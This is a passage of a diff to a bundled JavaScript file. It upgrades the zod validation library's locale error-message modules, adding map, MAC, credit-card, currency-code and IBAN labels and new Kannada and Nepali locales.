"\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -62034,17 +63615,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62070,12 +63652,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -62147,17 +63733,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62183,12 +63770,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -62258,22 +63849,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62299,12 +64007,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -62375,11 +64087,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -62393,7 +64105,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -62494,12 +64206,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -62579,17 +64295,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62615,12 +64332,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -62689,17 +64410,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62725,12 +64447,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62797,17 +64523,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return 